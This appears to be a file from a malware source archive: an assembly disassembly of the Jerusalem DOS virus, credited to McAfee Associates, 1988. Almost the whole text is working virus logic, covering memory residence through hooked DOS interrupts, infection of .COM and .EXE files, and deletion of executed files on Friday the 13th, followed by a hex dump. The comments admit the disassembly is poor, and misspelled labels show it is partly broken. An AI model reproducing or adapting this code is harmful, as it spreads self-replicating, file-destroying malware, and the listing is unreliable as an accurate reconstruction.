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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.virus33.asm

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2021-01-13 00:07:35 +00:00
The following is a disassembled, structured and commented listing of the
Jerusalem .COM and .EXE infector virus. All comments, structure inclusions
and explanations are copyright John McAfee and Associates 1988, all rights
reserved. DO NOT distribute without contacting John at 408 988 3832, or
write :
John McAfee
4423 Cheeney Street
Santa Clara, CA 95054
(NOTE: This is an extraordinarily poor disassembly. We purposely spent
little time on it since it is a common virus that has been thoroughly
studied by dozens of others. - In other words - we were lazy).
PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;
JMP N08_90 ;
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
PUSH CX ;*** COMMENTS SOLICITED **** - WS
PUSH SI ;
MOV CX,4001H ; YES IT IS (1/2 HOUR) BUT THE FUCKER NEVER
REP LODSB ;GETS EXECUTED!!!!!!!!!!! -RLP
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECTION PROCESS OCCURS HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE (OBVIOUSLY)
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE - YES
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
